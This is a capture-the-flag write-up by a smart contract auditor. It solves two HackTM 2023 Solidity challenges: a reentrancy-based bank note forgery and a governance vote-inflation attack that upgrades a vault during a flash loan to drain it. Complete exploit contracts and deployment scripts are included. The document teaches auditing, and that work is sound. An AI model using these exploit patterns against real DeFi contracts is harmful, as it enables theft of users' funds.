Draining Vaults in HackTM CTF Quals 2023
There were two smart contract hacking challenges—Dragon Slayer and Diamond Heist—in this year's HackTM Quals CTF written by 0xkasper. These protocols were EVM-compatible, and their smart contracts were written in Solidity.
As a smart contract auditor with Zellic, I chose to first try out these challenges. We were the first blood on Dragon Slayer.
Quick note: If you'd like help finding critical bugs that may be lingering in your DeFi protocol, reach out to Zellic!
This challenge used the following set of contracts to operate a game, where you (a knight) must beat a dragon:
Setup
: The contract we interact with to set up the game and gain ownership of our knight character.Dragon
: The enemy. The dragon has health
and defence
(resistance to attacks, which reduces impact on its health) attributes associated with it.Knight
: Your character. It also had health
and defence
attributes and has a swordItemId
and shieldItemId
which control the amount of damage the knight can apply to the dragon per turn and its defence
, respectively.Item
: An ERC-1155 contract to represent the items you can purchase.Shop
: The contract that facilitates purchasing of items. It also stores the properties of each item type including the price
, attack
, and defence
amount. The shop allows you to both buy and sell items.GoldCoin
: An ERC-20 contract used as the fungible currency you exchange for items.Bank
: A contract that allows you to deposit gold coins in exchange for a non-fungible bank note, or redeem a bank note for gold coins. It also provides functions to merge multiple bank notes into a single note, split one into many, or transfer ownership of a note.BankNote
: The ERC-721 bank note implementation.To get the flag, we must defeat the dragon without dying first, which is made impossible by the dragon's relatively high health
, defence
, and attack
. We're allowed to write an exploit contract and deploy it on a private blockchain.
Our knight starts out with a small gold coin balance. There are items available for purchase that can defeat the dragon in one turn, but they are wayyy out of our budget! So, we have to use exploits to increase our balance.
The Bank
and BankNote
contracts seemed unnecessary for this game, so they were the first contracts I dug into.
I know that the ERC-721 standard provides an interface for contracts to do logic upon receiving an NFT transfer or mint via an onERC721Received
function. And, none of the contracts had no reentrancy protections. So I presumed the solution would involve exploiting reentrancy somewhere.
Almost immediately, I noticed the bank note split
function, which takes an array of values that must add up to the input bank note value:
function split(uint bankNoteIdFrom, uint[] memory amounts) external {
uint totalValue;
require(bankNote.ownerOf(bankNoteIdFrom) == msg.sender, "NOT_OWNER");
for (uint i = 0; i < amounts.length; i++) {
uint value = amounts[i];
_ids.increment();
uint bankNoteId = _ids.current();
bankNote.mint(msg.sender, bankNoteId);
bankNoteValues[bankNoteId] = value;
totalValue += value;
}
require(totalValue == bankNoteValues[bankNoteIdFrom], "NOT_ENOUGH");
bankNote.burn(bankNoteIdFrom);
bankNoteValues[bankNoteIdFrom] = 0;
}
Notice that the function first mints NFTs with values before checking that the sum (totalValue
) equals the input bank note value! This behavior is exploitable:
Attacker calls the split
function passing in [desiredAmount, 0]
for amounts
, where desiredAmount
is the desired value to steal/mint from the bank.
uint[] amounts;
// [...]
amounts.push(needBalance);
amounts.push(0);
bank.split(attackerNoteId, amounts);
The split
function first mints the NFT before assigning value, so the attacker's IERC721Receiver
contract first takes no action.
By the second iteraction (i.e. second mint
-> IERC721Receiver.onERC721Received
call), the first NFT's value has been assigned and is owned by the attacker.
The attacker now temporarily owns a large amount of gold coin.
Finally, the attacker simply transfers the value from the first NFT to the input NFT.
amounts
array is 0
, the second minted NFT is worthless, and the totalValue
now equals the input NFT value.The attacker has now created desiredAmount
value out of thin air! Note that this attack works like a flash loan.
There's one problem: the attacker / our exploit contract starts out the game owning no bank notes or gold coins.
The Knight
contract does have gold coin, but doesn't provide methods for our contract to obtain ownership of it so that we can deposit to obtain a note. And, to obtain a note, we have to deposit a non-zero amount of gold:
function deposit(uint amount) external {
require(amount > 0, "ZERO");
goldCoin.burn(msg.sender, amount);
// [....] bank note gets minted
}
So, I looked for all places where the bank mints a note and found this merge
function:
function merge(uint[] memory bankNoteIdsFrom) external {
uint totalValue;
for (uint i = 0; i < bankNoteIdsFrom.length; i++) {
// [...] input bank notes get burned, and their values added to totalValue
}
_ids.increment();
uint bankNoteIdTo = _ids.current();
bankNote.mint(msg.sender, bankNoteIdTo);
bankNoteValues[bankNoteIdTo] += totalValue;
}
Note that there are no checks on the length of the bankNoteIdsFrom
input notes array. So, we can simply pass in an empty array and obtain a worthless bank note. That's all we'll need before creating value out of thin air.
uint[] memory bankNoteIdsFrom;
bank.merge(bankNoteIdsFrom); // empty at this point
This is the easy part. We just need to:
attack
/defence
.In my exploit, I followed the above steps in the onERC721Received
function for some reason, so I also had to sell the items when done using them and refund the bank—much like a flash loan.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "./Knight.sol";
import "./Bank.sol";
import "./Setup.sol";
contract Exploit {
Knight public knight;
Bank public bank;
Setup public setup;
GoldCoin public goldCoin;
constructor(address _setup) {
setup = Setup(_setup);
setup.claim();
knight = setup.knight();
bank = knight.bank();
goldCoin = knight.goldCoin();
}
uint attackerNoteId = 1;
uint loan1NoteId = 2;
uint loan2NoteId = 3;
uint knightNoteId = 4;
uint knight2NoteId = 5;
uint needBalance = 1_000_000 ether + 1_000_000 ether;
uint[] amounts;
function exploit() public {
uint[] memory bankNoteIdsFrom;
bank.merge(bankNoteIdsFrom); // empty at this point
amounts.push(needBalance);
amounts.push(0);
bank.split(attackerNoteId, amounts);
}
function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) public returns (bytes4) {
if (tokenId == loan2NoteId) {
uint origBalance = goldCoin.balanceOf(address(knight));
knight.bankDeposit(origBalance); // knightNoteId
bank.transferPartial(loan1NoteId, needBalance, knightNoteId);
knight.bankWithdraw(knightNoteId);
knight.buyItem(3);
knight.buyItem(4);
knight.fightDragon();
knight.fightDragon();
require(setup.isSolved(), "!solved");
knight.sellItem(3);
knight.sellItem(4);
knight.bankDeposit(needBalance); // knight2NoteId
knight.bankTransferPartial(knight2NoteId, needBalance, attackerNoteId); // pay back loan
}
return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}
}
Exploit deployment script:
const { ethers } = require("hardhat");
async function main() {
var address = '<setup contract addr here>';
const Exploit = await ethers.getContractFactory("Exploit");
const exploit = await Exploit.deploy(address);
await exploit.exploit();
};
main().then(() => process.exit(0)).catch(error => {
console.error(error);
process.exit(1);
});
Flag: HackTM{n0w_g0_g3t_th4t_run3_pl4t3b0dy_b4af5ff9eab4b0f7}
We blooded it. 😎😎😎
This challenge provided us with the following set of important contracts:
Setup
: The contract we interact with to set up the challenge state and mint us starting coins.Vault
: A vault contract that stores locked diamonds. It provides a flashloan
function that allows us to take a flash loan.
Also, it follows the UUPSUpgradeable
pattern.
Diamond
: An ERC-20 coin which is the currency we want to drain from the vault.SaltyPretzel
: Ignore the name lolol. It's just a governance contract set as the owner of the upgradeable Vault
. We'll dig into how it works in the next section!The goal was simply to drain the vault.
Because the vault is upgradeable, I assumed we were expected to find a way to upgrade the vault to a malicious contract that transfers all of the diamonds to us.
The following code determines whether an upgade is authorized:
function _authorizeUpgrade(address) internal override view {
require(msg.sender == owner() || msg.sender == address(this));
require(IERC20(diamond).balanceOf(address(this)) == 0);
}
So, the following must be true:
That seems like a problem, right? Our goal is to drain the diamonds, and to do that, we need to upgrade the vault, but we can't upgrade the vault if it has any diamonds in it in the first place!
This is where the flashloan
function comes in. Nothing in a CTF is random, and neither is this function. It allows us to temporarily drain the contract, as long as we refund it.
SaltyPretzel
Because the challenge author bothered to include the complicated governance logic of SaltyPretzel
, it was obvious to be that the solution involved hacking that contract. And we know that we can't upgrade unless the request comes from SaltyPretzel
or Vault
.
This particular governance contract is an ERC-20 implementation that uses token balances to determine "delegate shares". If we have a high enough number of shares, the Vault
contract will allow us to make an arbitrary function call:
function governanceCall(bytes calldata data) external {
require(msg.sender == owner() || saltyPretzel.getCurrentVotes(msg.sender) >= AUTHORITY_THRESHOLD);
(bool success,) = address(this).call(data);
require(success);
}
The setup contract provides us with a small number of delegate shares at the start.
A red flag popped out to me immediately: on top of the inherited ERC-20 accounting, SaltyPretzel
also implements its own delegate share accounting!
The below SaltyPretzel
code allows us to "transfer" delegate shares from one address to another:
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld - amount;
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld + amount;
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
Most of the rest of the complicated-looking SaltyPretzel
contract is irrelevant or unimportant to understand.
I've had the pleasure of hacking many smart contracts. A common theme in contracts that have internal accounting is that it's too easy to write bugs in accounting logic. So, I approached this code by thinking: "can we desynchronize these two methods of accounting?"
Note how the _moveDelegates
function only withdraws delegate shares if the source is 0, and only deposits if the destination is 0. This acts as a mint
/burn
function for this custom accounting logic.
The second observation I made is that the _delegate
function first synchronizes the custom accounting logic's balance to the ERC-20 balance the first time the function is called. It does this because—when the currentDelegate
is 0, it essentially mints the ERC-20 balance to a custom accounting balance.
So, to desynchronize the accounting methods, we use the following steps:
Yep, it's that simple. Now the custom accounting thinks the current address has an ERC-20 balance, but in reality, it's been transferred to the next address. So our exploit just needs to fake a ton of delegates and delegate their shares to our attacker contract.
Note that each delegator needs a unique address. We can accomplish this simply by deploying a new contract for each delegator!
One complication I encountered was that the transaction would run out of gas quickly since we needed 100 children contracts to obtain enough delegate shares.
To fix this, I just split the deployment of children into multiple transactions (constructor, addChildren
, exploit
, exploit2
).
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "./Setup.sol";
import "./VaultFactory.sol";
import "./Vault.sol";
import "./Diamond.sol";
import "./SaltyPretzel.sol";
import "./openzeppelin-contracts/interfaces/IERC20.sol";
contract Exploit {
Setup public setup;
SaltyPretzel public saltyPretzel;
Child[] children;
NewVault newVault;
constructor (address _setup) {
setup = Setup(_setup);
newVault = new NewVault();
saltyPretzel = setup.saltyPretzel();
}
function addChildren() external {
for (uint i = 0; i < 50; i++) {
children.push(new Child(address(saltyPretzel)));
}
}
function exploit() external {
setup.claim();
for (uint i = 0; i < 50; i++) {
children.push(new Child(address(saltyPretzel)));
}
for (uint i = 0; i < children.length; i++) {
saltyPretzel.transfer(address(children[i]), saltyPretzel.balanceOf(address(this)));
children[i].delegateThenTransferAll(address(this));
}
require(saltyPretzel.getCurrentVotes(address(this)) >= 10_000 ether, "balance didn't increase enough");
}
function exploit2() external {
Vault vault = setup.vault();
Diamond diamond = setup.diamond();
vault.flashloan(address(diamond), diamond.balanceOf(address(vault)), address(this));
NewVault(address(vault)).giveDiamonds(address(diamond), address(setup));
require(setup.isSolved(), "!solved");
}
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32) {
Vault vault = setup.vault();
vault.governanceCall(
abi.encodeWithSignature(
"upgradeTo(address)",
address(newVault)
)
);
IERC20(token).transfer(msg.sender, amount);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
}
contract Child {
SaltyPretzel public saltyPretzel;
constructor (address _saltyPretzel) {
saltyPretzel = SaltyPretzel(_saltyPretzel);
}
function delegateThenTransferAll(address to) public {
saltyPretzel.delegate(to);
saltyPretzel.transfer(to, saltyPretzel.balanceOf(address(this)));
}
}
contract NewVault is Initializable, UUPSUpgradeable, OwnableUpgradeable {
function giveDiamonds(address token, address to) external {
IERC20(token).transfer(to, IERC20(token).balanceOf(address(this)));
}
function _authorizeUpgrade(address) internal override view {revert();}
}
Exploit deployment script:
const { ethers } = require("hardhat");
async function main() {
var address = '<setup contract address here>';
const Exploit = await ethers.getContractFactory("Exploit");
const exploit = await Exploit.deploy(address);
await exploit.addChildren();
await exploit.exploit();
await exploit.exploit2();
};
main().then(() => process.exit(0)).catch(error => {
console.error(error);
process.exit(1);
});
Flag: HackTM{m1ss10n_n0t_th4t_1mmut4ble_58fb67c04fd7fedc}
We were 5 minutes late to blooding this challenge :( fibonhack is too op. Kinda proud tho ngl lol... By the time we finished both challenges, only one team had solved one of the challenges :)
(just a reminder to ping Zellic if you need to find crits... fast!)